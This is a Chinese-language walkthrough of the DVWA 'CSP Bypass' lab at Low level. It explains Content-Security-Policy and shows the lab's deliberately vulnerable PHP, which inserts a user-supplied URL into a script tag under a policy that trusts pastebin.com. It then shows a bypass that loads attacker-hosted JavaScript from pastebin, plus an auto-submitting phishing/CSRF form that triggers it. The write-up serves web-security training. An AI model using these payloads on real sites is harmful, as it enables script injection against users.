DVWA-13.1 CSP Bypass(绕过浏览器的安全策略)-Low
CSP
Content-Security-Policy是指HTTP返回报文头中的标签,浏览器会根据标签中的内容,判断哪些资源可以加载或执行。翻译为中文就是内容安全策略。是为了缓解潜在的跨站脚本问题(XSS),浏览器的扩展程序系统引入了内容安全策略这个概念。原来应对XSS攻击时,主要采用函数过滤、转义输入中的特殊字符、标签、文本来规避攻击。CSP的实质就是白名单制度,开发人员明确告诉客户端,哪些外部资源可以加载和执行。开发者只需要提供配置,实现和执行全部由浏览器完成。
两种方法可以启用CSP:
- 一种是通过HTTP相应头信息的Content-Security-Policy字段;
- 另一种是通过网页标签;
例如:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
以上例子的意思如下:
- script-src脚本:只信任当前域名
- object-src:不信任任何URL,即不加载任何资源
- style-src样式表:只信任http://cdn.example.org和http://third-party.org
- child-src:必须使用HTTPS协议加载。这个已从Web标准中删除,新版本浏览器可能不支持。
- 其他资源:没有限制其他资源
当启用CSP后,不符合CSP的外部资源会被阻止加载。
为什么要使用CSP呢?
首先,CSP是一种声明机制,允许Web开发者在其应用程序上指定多个安全限制,由支持的用户代理(浏览器)来负责强制执行。CSP旨在“作为开发人员可以使用的工具,以各种方式保护其应用程序,减轻内容注入漏洞的风险和减少应用程序执行的特权”。当前,CSP还处在快速的发展期,目前正在进行规范中的版本是CSP3,CSP标准由用户代理选择实现。例如,Chrome具有完整的CSP2支持,并且实现了CSP3的大部分工作草案,仅在某些情况下可能会落后于实验中的某些特性,而Mozilla Firefox和基于WebKit的浏览器则刚刚获得了完整的CSP2支持。在实际使用中,CSP策略在Content-Security-Policy HTTP响应头或元素中提供。
攻击者如何绕过CSP进行攻击呢?
Low Level
查看代码
<?php $headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, jquery and google analytics. header($headerCSP); # https://pastebin.com/raw/R570EE00 ?> <?php if (isset ($_POST['include'])) { $page[ 'body' ] .= " <script src='" . $_POST['include'] . "'></script> "; } $page[ 'body' ] .= ' <form name="csp" method="POST"> <p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p> <input size="50" type="text" name="include" value="" id="include" /> <input type="submit" value="Include" /> </form> ';
可以看到被信任的网站有:https://pastebin.com、example.com、code.jquery.com和https://ssl.google-analytics.com
通过抓包,也能观察到返回的报文中CSP的内容
而当中的 pastebin 是什么网站呢?是一个快速分享文本内容的网站。
假如文本的内容是一段 js 代码呢?
比如是源码中提示我们的, 输入 https://pastebin.com/raw/R570EE00
可以看到,链接中保存的JS代码被成功执行了,所以,不应该信任那些可以自由编辑文件的网页的。
因此,绕过CSP的方法就是,攻击者把恶意代码保存在受信任的网站上,然后把链接发送给需要攻击的用户,用户点击后,达到注入目的。
当然也可以通过CSRF实现攻击,做一个钓鱼网站,通过发送邮件等方式让用户收到链接后,诱惑点击,用户点击后,则被被攻击。例如如下构造一个钓鱼网站
<form action=" http://127.0.0.1/dvwa/vulnerabilities/csp/" id="csp" method="post"> <input type="text" name="include" value=""/> </form> <script> var form = document.getElementById("csp"); form[0].value="https://pastebin.com/raw/R570EE00"; form.submit();
</script>
参考:
https://zhuanlan.zhihu.com/p/110012962
https://www.codercto.com/a/85601.html